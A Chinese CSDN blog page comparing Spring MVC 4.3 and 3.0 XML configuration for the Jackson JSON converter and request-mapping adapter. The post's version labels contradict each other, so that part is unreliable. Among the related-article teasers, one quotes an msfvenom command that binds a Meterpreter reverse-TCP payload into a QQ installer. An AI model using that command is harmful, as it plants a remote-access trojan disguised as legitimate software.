springmvc4.3和3.0配置的不同

SSM项目中Spring版本、Jackson版本、JWT版本冲突 记录SSM项目中Spring版本、Jackson版本、JWT版本冲突问题摘要背景其他方法通过Maven下载jar包的方式一个坑 摘要 Spring版本4.0.2 Jackson版本2.4.0 JWT版本3.4.0 无冲突 IDE:Eclipse 背景 基于Spring版本为4.0.2的项目中希望使用JWT进行token的生成与解析,选用了版本为3.4.0的JWT完成这一工作,项目中完成JSON操作的jar包为jackson 2.1.0配套的三个包,在生成Token的时候可以顺利完成。但是在解析Token的时 阅读详情

新框架总是不断的出现,已经有的中间件也在不断更新,最近用springmvc4.3搭建开发环境说下配置文件springmvc配置文件遇到的坑
配置文件头部的声明也要随着版本号变更这个没什么说的。
重要的部分是如下
4.3主要配置信息

版本4.0: org.springframework.http.converter.json.MappingJacksonHttpMessageConverter
org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter

版本3.0:org.springframework.http.converter.json.MappingJackson2HttpMessageConverter
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter

4.3中不再存在文件
MappingJacksonHttpMessageConverter
annotation.AnnotationMethodHandlerAdapter 被替换为
method.annotation.RequestMappingHandlerAdapter

<bean id="mappingJacksonHttpMessageConverter"
        class="org.springframework.http.converter.json.MappingJackson2HttpMessageConverter">
        <property name="supportedMediaTypes">
            <list>
                <value>text/html;charset=UTF-8</value>
                <value>application/json; charset=UTF-8</value>
            </list>
        </property>
         <property name="objectMapper">
            <bean class="com.fasterxml.jackson.databind.ObjectMapper">    
               <!--  <property name="serializationInclusion">    
                    <value type="com.fasterxml.jackson.annotation.JsonInclude.Include">NON_NULL</value>    
                </property>   -->  


                 <!-- 为null字段时不显示 -->
                 <property name="serializationInclusion"><!-- 数据是否空值处理: ALWAYS,  NON_NULL,   NON_DEFAULT, NON_EMPTY -->
                     <value type="com.fasterxml.jackson.annotation.JsonInclude.Include">NON_NULL</value>
                 </property>
                  <!-- 处理responseBody 里面日期类型 -->
                  <property name="dateFormat">
                      <bean class="java.text.SimpleDateFormat">
                          <constructor-arg type="java.lang.String" value="yyyy-MM-dd HH:mm:ss" />
                      </bean>
                  </property>
                  <!-- 时区指定 -->
                  <property name="timeZone" value="GMT+8" />
            </bean>    
        </property>   
    </bean>

    <!-- 启动Spring MVC的注解功能,完成请求和注解POJO的映射 -->
    <bean
        class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter">
        <property name="messageConverters">
            <list>
                <ref bean="mappingJacksonHttpMessageConverter" /><!-- json转换器 -->
            </list>
        </property>
    </bean>
SpringMVC(3.2.4)搭建详解 由于这段时间公司事情不多,就趁空闲时间自学一下 SpringMVC,虽然之前用过这个框架,但是都是架构师搭完之后,我们这些程序猿在上面扩展功能的,实际就在昨天,我连SpringMVC框架都不会搭。      之所以写这篇文章是因为网上的框架搭建教程参差不齐,让我走了很多弯路,现在我系统的总结一下,帮助那些和我一样正在努力走上“code mokey”人生的同道中人,顺便给自己留作参考备份(有不当的 阅读详情

相关推荐

SpringMVC 4.3 集成webSocket

SpringMVC 4.3 集成webSocket废话不多说,直接上代码(多说一句:此配置只能在tomcat8以上的容器内运行,若降低到tomcat7.0以上,参考其他大神的帖子)。 1、项目为Spring-SpringMVC-Mybatis maven 2、SpringMVC 版本 4.3 3、开发工具 IDEA 4、json工具用的fastjson 主要修改以下配置: - pom.

qq_28210581的博客 1621

Spring MVC超详细介绍!(包含基本配置)

springMVC 是 spring 框架的一个模块,springMVC 和 spring 无需通过中间整合层进行整合。springmvc 是一个基于 mvc 的 web 框架,方便前后端数据的传输.Spring MVC 拥有控制器,接收外部请求,解析参数传给服务层.

weixin_52394141的博客 2898

SpringMVC总结(xml配置和java类配置)

文章目录1.简单介绍2.需要解决的问题3.SpringMVC工作流程4.Spring的版本变迁1. 2004.03 发布spring1.02. 2006.10 发布spring2.03. 2007.11 发布spring2.54. 2009.12 发布Spring3.04.1 引入Restful架构风格支持4.2 引入mvc XML命名空间4.3 新增注解支持4.6 文件上传支持5. Spring...

thetsunami的博客 1073

Spring MVC 配置详解 WebMvcConfigurer

Spring Web MVC 知识点汇总(MVC 配置)

深圳市多克创新科技有限公司 3491

spring3.0 mvc使用入门,含具体例子

在spring3.0mvc中最大的特点就是采用了rest,它利用annotation来完全替代配置文件,直接用注释将请求映射到具体的model进行处理,然后返回结果给jsp页面,操作很简单。

springMVC4.3.3所需jar包

springMVC4.3.3版本JAR包,包含bean,context,core,aop,web

SpringMVC笔记

文章目录SpringMVC初识SpringMVC是什么?Springmvc处理流程SpringMVC使用1.导包2.创建配置文件3.在web.xmI文件中配置前端控制器4.创建控制层5.创建测试页面SpringMVC执行流程架构流程组件说明默认加载的组件组件扫描器处理器映射器和适配器的衍进配置处理器映射器配置处理器适配器注解驱动注解![在这里插入图片描述](https://img-blog.csdnimg.cn/20210204222813197.png?x-oss-process=image/waterm

zero_ko的博客 205

springmvc4.3

commons-logging-1.2 spring-orm-4.1.5 spring-webmvc-4.3.12 spring-jmx-2.0.8

Spring4+SpringMVC4+Mybatis3框架整合

Spring4+SpringMVC4+Mybatis3框架整合

feiwusuoai的博客 2500

SpringMVC4.3.10+Spring4.3.10+MyBatis3.4.4+BootStrap3.3.7整合项目

本资源由MyEclipse2014开发,包含SpringMVC4.3.10+Spring4.3.10+MyBatis3.4.4+BootStrap3.3.7整合项目,是完整可运行项目,Jar包完整,不仅适合初学者学习,还可供开发人员参考,项目新增、修改、删除、更新、事务完整等功能均有涉及

springMVC-4.3.9完整jar包

spring-framework-4.3.9.RELEASE,最新springmvc框架所有所需jar包,可以下载资源,快速构建springmvc框架。

springmvc4.0以上和jackson版本问题

在整合springmvc时,要返回json格式的数据出现问题,特地记录下供以后查看。 先看下错误: org.springframework.web.util.NestedServletException:Handler dispatch failed; nested exception is java.lang.NoSuchMethodError 一般都是通过 @ResponseBody 返

WiteWater的博客 1万+

6G网络的关键技术、应用前景与挑战并存的科技征途

移动通信技术正以前所未有的速度迭代更新,而6G技术的研发进程渐渐成为了当前科技领域的热点。全球各国已纷纷将目光投向了充满想象的6G时代。本文将探讨全球6G技术研发的最新进展,以及6G技术的核心创新与潜在应用。

fiberroad的博客 2423

springMVC之利用Servlet3.0的SPI机制实现零配置原理

在打开springMVC官方文档的开头介绍DispatcherServlet的时候,他首先介绍了一段配置: https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html public class MyWebApplicationInitializer implements WebApplicationInitializer { @Override public void onStartup(Se

CoderOu 646

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

CUDA系列-Stream-1

This section describes static aspects of the CUSW_UNIT_STREAM unit’s architecture.和stream相关的其它Unit主要有Channel,Sync,Memmgr A CUDA stream is a software FIFO queue that allows commands like kernel launch and memcpy to be enqueued in it. The enqueued commands

weixin_43360707的博客 734

Hibernate4+Spring3+SpringMVC事务管理

一,Hibernate4配置

martinyulin的专栏 1310

地理空间智能体(GI Agent)

地理空间智能体(Geospatial Intelligence Agent, GI Agent)是AI Agent技术与地理信息系统(GIS)深度融合的产物。其核心是以大型语言模型(LLM)为驱动,通过自然语言理解、任务分解和工具调用能力,实现地理空间任务的自动化执行。​关键特性​自主性​:独立规划任务流程(如空间数据检索、分析、可视化);​交互性​:支持自然语言对话交互,替代传统图形界面操作;​扩展性​:灵活集成第三方工具和API,支持跨平台协作。

百态·数智思维 | 聚焦大数据、量化与未来AI 2031

springmvc 基于servlet3.0工程搭建以及示例

文章目录spirngmvc 基于servlet3.0springmvc servlet3.0 工程搭建deme 示例引入依赖配置文件controller首页配置server(tomcat)项目容器加载分析:springmvc 结构分析 spirngmvc 基于servlet3.0 实现无xml化搭建工程 springmvc servlet3.0 工程搭建 创建新工程 , new - project 这里添加 archetypeCatalog : internal 是为了加快新建速度. 当我们使用m

学无止境 688

从工艺到器件:用Silvaco ATLAS仿真PIN二极管击穿电压的保姆级指南

本文详细介绍了使用Silvaco ATLAS仿真PIN二极管击穿电压的全流程指南,从工艺仿真基础搭建到器件结构构建,再到击穿特性仿真和结果分析。通过Silvaco工具链,工程师可以在设计阶段精准预测器件性能,优化击穿电压,提升研发效率。

weixin_34259816的博客 355

点云最小二乘法拟合曲线

文章目录一、引言 一、引言

dayuhaitang1的博客 2733

详解Maven 构建SpringMVC4.0

详细记录了使用Maven构建SpringMVC4.0的全部过程

独恋幽兰的专栏 6542

Claude Code Auto Memory 的 Storage Location,SAP ABAP 项目里的本地记忆仓库应该怎么理解

本文介绍了 SAP ABAP 项目中 Claude Code 的 auto memory 机制,重点探讨了其存储位置的设计原理。auto memory 不是存储在项目目录中,而是默认位于 ~/.claude/projects/<project>/memory/,其中 <project> 基于 Git 仓库路径推导,确保同一仓库下的所有工作目录和分支共享记忆。记忆目录包含入口文件 MEMORY.md(仅加载前 200 行)和详细主题文件,这种分层设计类似 CDS View 架构思想。文章还分析了按 Git 仓

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 100

SpringMVC_入门案例[web3.0开发]

原理 : 控制层方法的返回值是如何转化为json格式的字符串的?因为我们配置的tomcat端口是80, 所以我们在前端直接可以通过localhost/sava请求访问, 原本访问应该是localhost:80/save, 但是http协议之下默认访问的端口号就是80, 所以可以不用添加端口号。加上@ResponseBody注解之后就没有了这些问题, 加上了@ResponseBody注解之后就会将返回值转换为Json格式之后写到response对象的body位置, 然后最终由Web容器(tomcat返回)

m0_57001006的博客 604

一键生成Microsoft Store应用直链下载:绕过商店故障的终极方案

遇到商店无法加载时,复制链接 → 粘贴到Adguard → 下载主程序包 → 开启开发者模式安装。整个过程耗时不超过2分钟,彻底摆脱商店依赖!

安德洛夫 2182

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

SpringMVC搭建应用(XML配置方式+零XML配置),Servlet3.0 SPI规范,SpringMVC源码分析及相关知识点,手写自己的SpringMVC框架jar发布使用

这篇分享开始对SpringMVC进行学习。在讨论之前相信大部分都或多或少使用过SpringMVC,因为这个SpringMVC框架简单易用,代码结构清晰,而且其可拓展性等优势也非常明显,也因此目前来说SpringMVC依旧是许多开发者选择使用的技术框架。 既然SpringMVC这么强大,那就让我们开始了解这个强大的工具吧。 在学习之前,一如既往先提出学习目标,通过本文及关联文章的学习,我们会学习了解以下知识: (1)SpringMVC的工作流程; (2)SpringMVC的XML方式搭建应用,包括Di

qq_20395245的博客 504

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

上一篇: sigar在Centos和Windows下使用java系统软硬件配置信息
下一篇: 在bootstrap3.7的基础上自定义模态dialog小工具
牧竹子
博客等级 码龄17年 572粉丝 233原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值